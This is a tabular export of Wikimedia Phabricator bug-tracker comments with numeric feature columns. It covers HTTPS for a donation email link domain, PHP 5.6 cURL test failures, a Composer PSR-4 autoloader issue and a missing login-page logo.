There is an email program in Sweden which will remain active for another ~2 weeks and will still have IBM's click tracking turned on. Once that program is phased out, there will be no more instances of the mkt4477.com domain in our emails.",,,1455821549,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,33,True,0.0,0.0,0.0,1.0,0.0,4.5,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.5,0.0,2.0,12.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,0.5,0.0,0.5,0.0,0.0,0.0,2.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.5,3.0,7.0,1.0,1.5,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,2.5,12.0,5.5,0.0,0.0,0.0,2.5,0.0,1.0,1.0,0.0,2.5,2.0,0.0,0.0,4.3584905660377355,0.8490566037735849,"Reopening (and resolving) this task to say Fundraising Tech has successfully set up email click tracking through donate.wiki (see T114010). We had our first round of emails go out this morning with our ESP's click tracking turned off after comparing data between the two click tracking systems over the last week. 

There is an email program in Sweden which will remain active for another ~2 weeks and will still have IBM's click tracking turned on. Once that program is phased out, there will be no more instances of the mkt4477.com domain in our emails."
542436,links.email.donate.wikimedia.org should offer HTTPS,"I guess T114010 is now the blocker, when it's resolved this bug can be fixed.",,,1444195422,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,13,True,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,11.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"I guess T114010 is now the blocker, when it's resolved this bug can be fixed."
397574,links.email.donate.wikimedia.org should offer HTTPS,"So the WMF is ready to never get a green check in the ""encrypt the web"" EFF report? https://www.eff.org/encrypt-the-web-report",,,1420838665,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,18.0,5.0,18.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,14.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.1363636363636362,0.8636363636363636,"So the WMF is ready to never get a green check in the ""encrypt the web"" EFF report? URL"
397537,links.email.donate.wikimedia.org should offer HTTPS,"We are aware of this issue and unfortunately don't have a good solution at this time. It is a result of the program we use to send our appeal emails, however once the handoff happens between our email client and our donation page, the donor is taken to an https page. No data is requested from the donor on an http page, and the only page they actually see is https. Here's what I ultimately see when I click on a link from our emails:

https://donate.wikimedia.org/wiki/Sep2014enUS_noquote?utm_campaign=C14_Email2&utm_medium=email&utm_source=sp47725973&hpc=

We have a prepared response for donors who contact us about this problem and an easy solution: simply visit donate.wikimedia.org directly or click on the sidebar link on Wikipedia, and they can get around this http to https handoff. We'll continue to look for a better solution.",,,1420837030,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,1.0,0.5,4.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,0.5,0.0,6.5,0.0,5.5,11.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,8.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,0.5,2.5,0.0,1.0,0.0,0.0,0.0,16.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.5,8.0,2.5,6.0,1.0,3.5,10.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,8.0,11.5,2.0,0.0,0.0,0.0,8.0,0.0,2.0,4.5,0.5,0.0,0.5,0.0,0.0,3.9605405405405403,0.7317117117117118,"We are aware of this issue and unfortunately don't have a good solution at this time. It is a result of the program we use to send our appeal emails, however once the handoff happens between our email client and our donation page, the donor is taken to an https page. No data is requested from the donor on an http page, and the only page they actually see is https. Here's what I ultimately see when I click on a link from our emails:

URL

We have a prepared response for donors who contact us about this problem and an easy solution: simply visit donate.wikimedia.org directly or click on the sidebar link on Wikipedia, and they can get around this http to https handoff. We'll continue to look for a better solution."
392113,links.email.donate.wikimedia.org should offer HTTPS,since this is about donate.wikimedia.org it should actually have Fundraising tags/projects. trying to add those.,,,1419261724,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,16.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.157894736842105,0.9473684210526315,since this is about donate.wikimedia.org it should actually have Fundraising tags/projects. trying to add those.
326002,links.email.donate.wikimedia.org should offer HTTPS,Fixed in HTTPSE upstream in https://github.com/EFForg/https-everywhere/commit/813ccfd171e5696499060ae464c0f2f676da914f,,,1416046412,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,1,True,,,-33,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.8333333333333334,Fixed in HTTPSE upstream in URL
73729,HttpRequest: Failing under PHP 5.6 (CURLOPT_CLOSEPOLICY not defined),"Constants CURLOPT_CLOSEPOLICY, CURLCLOSEPOLICY_LEAST_RECENTLY_USED and others are not defined as they were removed in PHP 5.6.0.

Tests should probably be updated to only test the ones relevant for the CurlHttpRequest class to function properly. If those include constants removed in PHP 5.6, then we should fix the code to use a different method in PHP 5.6.

See also:
* http://php.net/manual/en/curl.constants.php#constant.curlopt-closepolicy
* https://gerrit.wikimedia.org/r/#/c/159159/
* https://bugzilla.wikimedia.org/show_bug.cgi?id=70570

Example of HttpRequest failing on PHP 5.6:
https://travis-ci.org/wikimedia/mediawiki-core/jobs/37159310 (lines 305...342)

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1412651160,1413197546.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-kneronwrmdjoh2wdb3kl,task_description,resolved,True,c3,1,True,False,True,-39,True,0.0,0.0,0.0,1.5,0.5,4.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.5,0.0,0.5,0.0,3.5,7.0,0.0,1.5,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,2.0,1.5,14.0,0.5,0.5,2.5,0.0,0.0,0.0,0.0,3.5,0.0,5.5,0.0,1.0,7.0,8.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,4.202693602693603,0.6776094276094277,"Constants CURLOPT_CLOSEPOLICY, CURLCLOSEPOLICY_LEAST_RECENTLY_USED and others are not defined as they were removed in PHP 5.6.0.

Tests should probably be updated to only test the ones relevant for the CurlHttpRequest class to function properly. If those include constants removed in PHP 5.6, then we should fix the code to use a different method in PHP 5.6.

See also:
* URL
* URL
* URL

Example of HttpRequest failing on PHP 5.6:
URL (lines 305...342)

--------------------------
**Version**: unspecified
**Severity**: major"
325929,HttpRequest: Failing under PHP 5.6 (CURLOPT_CLOSEPOLICY not defined),https://travis-ci.org/Krinkle/mediawiki-core/jobs/37801162 (current master on PHP 5.6) no longer shows any CURL related errors.,,,1413197546,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-kneronwrmdjoh2wdb3kl,task_subcomment,,True,c3,1,True,,,-38,True,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.75,1.0,URL (current master on PHP 5.6) no longer shows any CURL related errors.
325925,HttpRequest: Failing under PHP 5.6 (CURLOPT_CLOSEPOLICY not defined),"Anything left to do here, or did the merged patch fix this bug report?",,,1413138585,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-kneronwrmdjoh2wdb3kl,task_subcomment,,True,c3,1,True,,,-38,True,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5625,1.0,"Anything left to do here, or did the merged patch fix this bug report?"
325917,HttpRequest: Failing under PHP 5.6 (CURLOPT_CLOSEPOLICY not defined),"**gerritadmin** wrote:

Change 162825 merged by jenkins-bot:
HttpTest: Update cURL constants array

https://gerrit.wikimedia.org/r/162825",,,1412720896,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kneronwrmdjoh2wdb3kl,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.04,0.76,"**gerritadmin** wrote:

Change 162825 merged by jenkins-bot:
HttpTest: Update cURL constants array

GERRIT_URL"
325910,HttpRequest: Failing under PHP 5.6 (CURLOPT_CLOSEPOLICY not defined),"**gerritadmin** wrote:

Change 162825 had a related patch set uploaded by Dan-nl:
Updated cURL constants array

https://gerrit.wikimedia.org/r/162825",,,1412705993,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kneronwrmdjoh2wdb3kl,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.892857142857143,0.8214285714285714,"**gerritadmin** wrote:

Change 162825 had a related patch set uploaded by Dan-nl:
Updated cURL constants array

GERRIT_URL"
73629,integration/phpunit has an older composer/ClassLoader.php that doesn't understand psr-4,"The wikimedia/iegreview project is using a PSR-4 autoloading scheme (just like PSR-0 except you don't have to have a bunch of empty directories in your path to define the full namespace).

The phpunit job for this repository is failing with this error:

PHP Fatal error:  Call to undefined method Composer\Autoload\ClassLoader::setPsr4() in /srv/ssd/jenkins-slave/workspace/wikimedia-iegreview-phpunit/vendor/composer/autoload_real.php on line 33
PHP Stack trace:
PHP   1. {main}() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/composer/bin/phpunit:0
PHP   2. PHPUnit_TextUI_Command::main() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/composer/bin/phpunit:63
PHP   3. PHPUnit_TextUI_Command->run() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:129
PHP   4. PHPUnit_TextUI_Command->handleArguments() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:138
PHP   5. PHPUnit_TextUI_Command->handleBootstrap() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:606
PHP   6. PHPUnit_Util_Fileloader::checkAndLoad() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:778
PHP   7. PHPUnit_Util_Fileloader::load() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/PHPUnit/Util/Fileloader.php:76
PHP   8. include_once() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/PHPUnit/Util/Fileloader.php:92
PHP   9. require() /srv/ssd/jenkins-slave/workspace/wikimedia-iegreview-phpunit/tests/bootstrap.php:24
PHP  10. ComposerAutoloaderInit219a9bfa76f2ac9b53cf75ea98d99ffa::getLoader() /srv/ssd/jenkins-slave/workspace/wikimedia-iegreview-phpunit/vendor/autoload.php:7



After a lot of head scratching I figured out that this is caused by the vendor/composer/ClassLoader.php that is loaded from the integration/phpunit project to run phpunit. This older version of the \Composer\Autoload\ClassLoader class shadows the newer version present in wikimedia/iegreview/vendor/composer/ClassLoader.php.

The fix for this should be as easy as regenerating the classloader for the integration/phpunit project using a newer version of Composer that supports PSR-4 autoloaders.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",High,80.0,1412373120,1412378903.0,PHID-USER-ll6tmaogat2b5q7tnqas,False,,False,PHID-TASK-pzohjhf6q3xga3p5msfe,task_description,resolved,True,c3,1,True,False,True,-39,True,0.0,0.0,0.0,0.4,0.2,2.2,0.2,0.0,0.0,0.0,1.0,0.2,0.0,0.0,0.0,0.2,0.6,0.6,5.4,0.0,0.6,0.2,0.0,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.6,1.4,0.0,0.0,0.0,0.4,0.0,0.0,0.4,0.2,0.0,0.0,0.0,5.2,0.2,0.0,0.0,0.0,0.0,12.8,0.8,0.8,0.2,0.4,0.0,0.0,0.0,0.0,0.0,0.0,0.2,0.2,0.0,0.0,0.0,0.0,0.0,3.0,1.0,11.2,0.4,0.0,4.0,0.0,0.0,0.0,0.0,1.2,0.0,3.0,0.0,0.6,5.4,17.8,0.0,0.0,0.0,0.6,0.0,0.4,0.8,0.0,1.2,0.6,0.0,0.2,4.598454647256439,0.46808510638297873,"The wikimedia/iegreview project is using a PSR-4 autoloading scheme (just like PSR-0 except you don't have to have a bunch of empty directories in your path to define the full namespace).

The phpunit job for this repository is failing with this error:

PHP Fatal error:  Call to undefined method Composer\Autoload\ClassLoader::setPsr4() in /srv/ssd/jenkins-slave/workspace/wikimedia-iegreview-phpunit/vendor/composer/autoload_real.php on line 33
PHP Stack trace:
PHP   1. {main}() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/composer/bin/phpunit:0
PHP   2. PHPUnit_TextUI_Command::main() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/composer/bin/phpunit:63
PHP   3. PHPUnit_TextUI_Command->run() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:129
PHP   4. PHPUnit_TextUI_Command->handleArguments() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:138
PHP   5. PHPUnit_TextUI_Command->handleBootstrap() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:606
PHP   6. PHPUnit_Util_Fileloader::checkAndLoad() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:778
PHP   7. PHPUnit_Util_Fileloader::load() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/PHPUnit/Util/Fileloader.php:76
PHP   8. include_once() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/PHPUnit/Util/Fileloader.php:92
PHP   9. require() /srv/ssd/jenkins-slave/workspace/wikimedia-iegreview-phpunit/tests/bootstrap.php:24
PHP  10. ComposerAutoloaderInit219a9bfa76f2ac9b53cf75ea98d99ffa::getLoader() /srv/ssd/jenkins-slave/workspace/wikimedia-iegreview-phpunit/vendor/autoload.php:7



After a lot of head scratching I figured out that this is caused by the vendor/composer/ClassLoader.php that is loaded from the integration/phpunit project to run phpunit. This older version of the \Composer\Autoload\ClassLoader class shadows the newer version present in wikimedia/iegreview/vendor/composer/ClassLoader.php.

The fix for this should be as easy as regenerating the classloader for the integration/phpunit project using a newer version of Composer that supports PSR-4 autoloaders.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
321737,integration/phpunit has an older composer/ClassLoader.php that doesn't understand psr-4,Tests needing PSR-4 autoloader are passing now. I left a pending patch for Antoine to look at that would upgrade phpunit to the latest 3.7.x version.,,,1412378903,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-pzohjhf6q3xga3p5msfe,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,14.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,14.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,14.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,11.0,0.0,4.0,0.0,4.428571428571429,0.9285714285714286,Tests needing PSR-4 autoloader are passing now. I left a pending patch for Antoine to look at that would upgrade phpunit to the latest 3.7.x version.
321732,integration/phpunit has an older composer/ClassLoader.php that doesn't understand psr-4,"**gerritadmin** wrote:

Change 164687 merged by BryanDavis:
Regenerate autoloader

https://gerrit.wikimedia.org/r/164687",,,1412375465,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pzohjhf6q3xga3p5msfe,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.578947368421052,0.7368421052631579,"**gerritadmin** wrote:

Change 164687 merged by BryanDavis:
Regenerate autoloader

GERRIT_URL"
321729,integration/phpunit has an older composer/ClassLoader.php that doesn't understand psr-4,"**gerritadmin** wrote:

Change 164687 had a related patch set uploaded by BryanDavis:
Regenerate autoloader

https://gerrit.wikimedia.org/r/164687",,,1412374447,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pzohjhf6q3xga3p5msfe,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.5,0.7916666666666666,"**gerritadmin** wrote:

Change 164687 had a related patch set uploaded by BryanDavis:
Regenerate autoloader

GERRIT_URL"
321727,integration/phpunit has an older composer/ClassLoader.php that doesn't understand psr-4,"**gerritadmin** wrote:

Change 164683 had a related patch set uploaded by BryanDavis:
Update to phpunit 3.7.37 and PSR-4 classloader

https://gerrit.wikimedia.org/r/164683",,,1412373560,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pzohjhf6q3xga3p5msfe,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.413793103448276,0.8275862068965517,"**gerritadmin** wrote:

Change 164683 had a related patch set uploaded by BryanDavis:
Update to phpunit 3.7.37 and PSR-4 classloader

GERRIT_URL"
73334,wgLogo missing on Login page,"Reproduced on mw.org: https://www.mediawiki.org/wiki/Special:UserLogin

The logo at the top left side is missing. It is visible on all other pages.

--------------------------
**Version**: 1.25-git
**Severity**: normal
**URL**: https://www.mediawiki.org/wiki/Special:UserLogin
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=56257",High,80.0,1411678620,1411687972.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-g57oty545cpxlsux7g2c,task_description,resolved,True,c3,1,True,False,True,-40,True,2.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,5.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.935483870967742,0.5161290322580645,"Reproduced on mw.org: URL

The logo at the top left side is missing. It is visible on all other pages.

--------------------------
**Version**: 1.25-git
**Severity**: normal
**URL**: URL
**See Also**:
URL"
331502,wgLogo missing on Login page,"[Backport was merged into 1.25wmf1, hence setting Backport_WMF flag to +]",,,1412717618,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,4.5,1.0,"[Backport was merged into 1.25wmf1, hence setting Backport_WMF flag to +]"
331495,wgLogo missing on Login page,The problem that change fixed (bug 56257) has been re-opened. See bug 56257 for alternative solution.,,,1411693824,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,True,,,-40,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,0.8636363636363636,The problem that change fixed (bug 56257) has been re-opened. See bug 56257 for alternative solution.
